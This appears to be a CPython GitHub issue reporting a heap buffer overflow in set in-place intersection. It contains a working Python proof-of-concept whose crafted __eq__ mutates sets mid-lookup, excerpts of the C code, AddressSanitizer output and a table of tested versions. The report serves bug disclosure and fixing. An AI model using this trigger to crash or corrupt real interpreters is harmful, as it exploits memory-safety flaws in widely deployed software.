-
-
Notifications
You must be signed in to change notification settings - Fork 33.9k
Open
Open
Copy link
Labels
interpreter-core(Objects, Python, Grammar, and Parser dirs)(Objects, Python, Grammar, and Parser dirs)type-crashA hard crash of the interpreter, possibly with a core dumpA hard crash of the interpreter, possibly with a core dump
Description
What happened?
In-place set intersection calls set_lookkey, which invokes PyObject_RichCompareBool on set elements. A crafted __eq__ mutates the same sets (including clear, update, and ^=) while the interpreter still holds pointers into their tables, re-entering set operations mid-probe. The re-entrant clear runs set_clear_internal on a table whose used count and storage no longer match, so its cleanup loop walks past the freed/shrunk buffer and triggers a heap buffer overflow.
Proof of Concept:
import random
random.seed(0)
aux = {object()}
targets = []
class Victim:
def __hash__(self):
return 0
def __eq__(self, other):
return NotImplemented
class Trigger:
def __hash__(self):
return 0
def __eq__(self, other):
if not targets:
return False
for s in targets:
op = random.randrange(7)
if op == 0:
s.clear()
elif op == 1:
s.add(Victim())
elif op == 2:
s.discard(Victim())
else:
s ^= aux
return False
for _ in range(119):
left = {Victim() for _ in range(6)}
right = {Victim() for _ in range(6)}
for _ in range(3):
right.add(Trigger())
targets[:] = [left, right]
left &= rightVulnerable Code Snippet:
Click to expand
/* Buggy Re-entrant Path */
PyObject *
PyNumber_InPlaceAnd(PyObject *v, PyObject *w)
{
return binary_iop(v, w, NB_SLOT(nb_inplace_and), NB_SLOT(nb_and), "&=");
}
static PyObject *
binary_iop1(PyObject *v, PyObject *w, const int iop_slot, const int op_slot,
const char *op_name)
{
PyNumberMethods *mv = Py_TYPE(v)->tp_as_number;
if (mv != NULL) {
binaryfunc slot = NB_BINOP(mv, iop_slot);
if (slot) {
return slot(v, w); /* for sets: set_iand() */
}
}
return NULL;
}
static PyObject *
set_iand(PyObject *self, PyObject *other)
{
PySetObject *so = _PySet_CAST(self);
/* ... */
return set_intersection_update(so, other);
}
static setentry *
set_lookkey(PySetObject *so, PyObject *key, Py_hash_t hash)
{
/* ... */
Py_INCREF(startkey);
cmp = PyObject_RichCompareBool(startkey, key, Py_EQ); /* Reentrant call site */
/* user __eq__ can call set.clear()/add()/discard()/^= on the same sets mid-probe */
Py_DECREF(startkey);
if (table != so->table || entry->key != startkey)
return set_lookkey(so, key, hash);
/* ... */
}
static int
set_clear_internal(PyObject *self)
{
PySetObject *so = _PySet_CAST(self);
setentry *entry;
setentry *table = so->table; /* crashing pointer derived */
Py_ssize_t used = so->used;
/* ... */
for (entry = table; used > 0; entry++) {
if (entry->key && entry->key != dummy) { /* Crash site */
used--;
Py_DECREF(entry->key);
}
}
/* ... */
return 0;
}
/* Clobbering Path */
static int
set_add_entry_takeref(PySetObject *so, PyObject *key, Py_hash_t hash)
{
/* ... */
if ((size_t)so->fill*5 < mask*3)
return 0;
return set_table_resize(so, so->used>50000 ? so->used*2 : so->used*4);
}
static int
set_table_resize(PySetObject *so, Py_ssize_t minused)
{
setentry *oldtable = so->table;
/* ... */
so->table = newtable;
/* ... */
if (is_oldtable_malloced)
PyMem_Free(oldtable); /* state mutate site */
return 0;
}Sanitizer Output:
Click to expand
=================================================================
==409942==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x51500022fb00 at pc 0x62534c9e1c4e bp 0x7ffe14bf1260 sp 0x7ffe14bf1250
READ of size 8 at 0x51500022fb00 thread T0
#0 0x62534c9e1c4d in set_clear_internal Objects/setobject.c:492
#1 0x62534c9e1cdc in set_clear_impl Objects/setobject.c:1336
#2 0x62534c9e1cdc in set_clear Objects/clinic/setobject.c.h:126
#3 0x62534c721c93 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:3813
#4 0x62534cbf12a5 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121
#5 0x62534cbf12a5 in _PyEval_Vector Python/ceval.c:2001
#6 0x62534ca245e2 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169
#7 0x62534ca245e2 in vectorcall_unbound Objects/typeobject.c:3033
#8 0x62534ca245e2 in maybe_call_special_one_arg Objects/typeobject.c:3175
#9 0x62534ca245e2 in _PyObject_MaybeCallSpecialOneArg Objects/typeobject.c:3190
#10 0x62534ca245e2 in slot_tp_richcompare Objects/typeobject.c:10729
#11 0x62534c9962af in do_richcompare Objects/object.c:1059
#12 0x62534c9962af in PyObject_RichCompare Objects/object.c:1108
#13 0x62534c9962af in PyObject_RichCompareBool Objects/object.c:1130
#14 0x62534c9e200c in set_lookkey Objects/setobject.c:114
#15 0x62534c9ec96d in set_discard_entry Objects/setobject.c:396
#16 0x62534c9ec96d in set_discard_key Objects/setobject.c:439
#17 0x62534c9ec96d in set_discard_impl Objects/setobject.c:2370
#18 0x62534c9ec96d in set_discard Objects/clinic/setobject.c.h:504
#19 0x62534c713caf in _PyEval_EvalFrameDefault Python/generated_cases.c.h:3907
#20 0x62534cbf12a5 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121
#21 0x62534cbf12a5 in _PyEval_Vector Python/ceval.c:2001
#22 0x62534ca245e2 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169
#23 0x62534ca245e2 in vectorcall_unbound Objects/typeobject.c:3033
#24 0x62534ca245e2 in maybe_call_special_one_arg Objects/typeobject.c:3175
#25 0x62534ca245e2 in _PyObject_MaybeCallSpecialOneArg Objects/typeobject.c:3190
#26 0x62534ca245e2 in slot_tp_richcompare Objects/typeobject.c:10729
#27 0x62534c9962af in do_richcompare Objects/object.c:1059
#28 0x62534c9962af in PyObject_RichCompare Objects/object.c:1108
#29 0x62534c9962af in PyObject_RichCompareBool Objects/object.c:1130
#30 0x62534c9e200c in set_lookkey Objects/setobject.c:114
#31 0x62534c9e6726 in set_contains_entry Objects/setobject.c:381
#32 0x62534c9e6726 in set_intersection Objects/setobject.c:1437
#33 0x62534c9e744a in set_intersection_update Objects/setobject.c:1531
#34 0x62534c9e744a in set_iand Objects/setobject.c:1589
#35 0x62534c819c45 in binary_iop1 Objects/abstract.c:1230
#36 0x62534c819c45 in binary_iop Objects/abstract.c:1255
#37 0x62534c819c45 in PyNumber_InPlaceAnd Objects/abstract.c:1289
#38 0x62534c727072 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:62
#39 0x62534cbf0ad6 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121
#40 0x62534cbf0ad6 in _PyEval_Vector Python/ceval.c:2001
#41 0x62534cbf0ad6 in PyEval_EvalCode Python/ceval.c:884
#42 0x62534cd3616e in run_eval_code_obj Python/pythonrun.c:1365
#43 0x62534cd3616e in run_mod Python/pythonrun.c:1459
#44 0x62534cd3ae17 in pyrun_file Python/pythonrun.c:1293
#45 0x62534cd3ae17 in _PyRun_SimpleFileObject Python/pythonrun.c:521
#46 0x62534cd3b93c in _PyRun_AnyFileObject Python/pythonrun.c:81
#47 0x62534cdaee3c in pymain_run_file_obj Modules/main.c:410
#48 0x62534cdaee3c in pymain_run_file Modules/main.c:429
#49 0x62534cdaee3c in pymain_run_python Modules/main.c:691
#50 0x62534cdb071e in Py_RunMain Modules/main.c:772
#51 0x62534cdb071e in pymain_main Modules/main.c:802
#52 0x62534cdb071e in Py_BytesMain Modules/main.c:826
#53 0x7e8d41c2a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#54 0x7e8d41c2a28a in __libc_start_main_impl ../csu/libc-start.c:360
#55 0x62534c74a634 in _start (/home/jackfromeast/Desktop/entropy/targets/grammar-afl++-latest/targets/cpython/python+0x206634) (BuildId: 4d105290d0ad566a4d6f4f7b2f05fbc9e317b533)
0x51500022fb00 is located 0 bytes after 512-byte region [0x51500022f900,0x51500022fb00)
allocated by thread T0 here:
#0 0x7e8d420fd9c7 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
#1 0x62534c9e2d9b in set_table_resize Objects/setobject.c:340
#2 0x62534c724038 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:10647
#3 0x62534cbf0ad6 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121
#4 0x62534cbf0ad6 in _PyEval_Vector Python/ceval.c:2001
#5 0x62534cbf0ad6 in PyEval_EvalCode Python/ceval.c:884
#6 0x62534cd3616e in run_eval_code_obj Python/pythonrun.c:1365
#7 0x62534cd3616e in run_mod Python/pythonrun.c:1459
#8 0x62534cd3ae17 in pyrun_file Python/pythonrun.c:1293
#9 0x62534cd3ae17 in _PyRun_SimpleFileObject Python/pythonrun.c:521
#10 0x62534cd3b93c in _PyRun_AnyFileObject Python/pythonrun.c:81
#11 0x62534cdaee3c in pymain_run_file_obj Modules/main.c:410
#12 0x62534cdaee3c in pymain_run_file Modules/main.c:429
#13 0x62534cdaee3c in pymain_run_python Modules/main.c:691
#14 0x62534cdb071e in Py_RunMain Modules/main.c:772
#15 0x62534cdb071e in pymain_main Modules/main.c:802
#16 0x62534cdb071e in Py_BytesMain Modules/main.c:826
#17 0x7e8d41c2a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#18 0x7e8d41c2a28a in __libc_start_main_impl ../csu/libc-start.c:360
#19 0x62534c74a634 in _start (/home/jackfromeast/Desktop/entropy/targets/grammar-afl++-latest/targets/cpython/python+0x206634) (BuildId: 4d105290d0ad566a4d6f4f7b2f05fbc9e317b533)
SUMMARY: AddressSanitizer: heap-buffer-overflow Objects/setobject.c:492 in set_clear_internal
Shadow bytes around the buggy address:
0x51500022f880: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x51500022f900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x51500022f980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x51500022fa00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x51500022fa80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x51500022fb00:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x51500022fb80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x51500022fc00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x51500022fc80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x51500022fd00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x51500022fd80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==409942==ABORTING
CPython versions tested on:
Details
| Python Version | Status | Exit Code |
|---|---|---|
Python 3.9.24+ (heads/3.9:111bbc15b26, Oct 28 2025, 16:51:20) |
OK | 0 |
Python 3.10.19+ (heads/3.10:014261980b1, Oct 28 2025, 16:52:08) [Clang 18.1.3 (1ubuntu1)] |
OK | 0 |
Python 3.11.14+ (heads/3.11:88f3f5b5f11, Oct 28 2025, 16:53:08) [Clang 18.1.3 (1ubuntu1)] |
OK | 0 |
Python 3.12.12+ (heads/3.12:8cb2092bd8c, Oct 28 2025, 16:54:14) [Clang 18.1.3 (1ubuntu1)] |
ASAN | 1 |
Python 3.13.9+ (heads/3.13:9c8eade20c6, Oct 28 2025, 16:55:18) [Clang 18.1.3 (1ubuntu1)] |
OK | 0 |
Python 3.14.0+ (heads/3.14:2e216728038, Oct 28 2025, 16:56:16) [Clang 18.1.3 (1ubuntu1)] |
ASAN | 1 |
Python 3.15.0a1+ (heads/main:f5394c257ce, Oct 28 2025, 19:29:54) [GCC 13.3.0] |
ASAN | 1 |
Operating systems tested on:
Linux
Output from running 'python -VV' on the command line:
Python 3.15.0a1+ (heads/main:f5394c257ce, Oct 28 2025, 19:29:54) [GCC 13.3.0]
Linked PRs
Metadata
Metadata
Assignees
Labels
interpreter-core(Objects, Python, Grammar, and Parser dirs)(Objects, Python, Grammar, and Parser dirs)type-crashA hard crash of the interpreter, possibly with a core dumpA hard crash of the interpreter, possibly with a core dump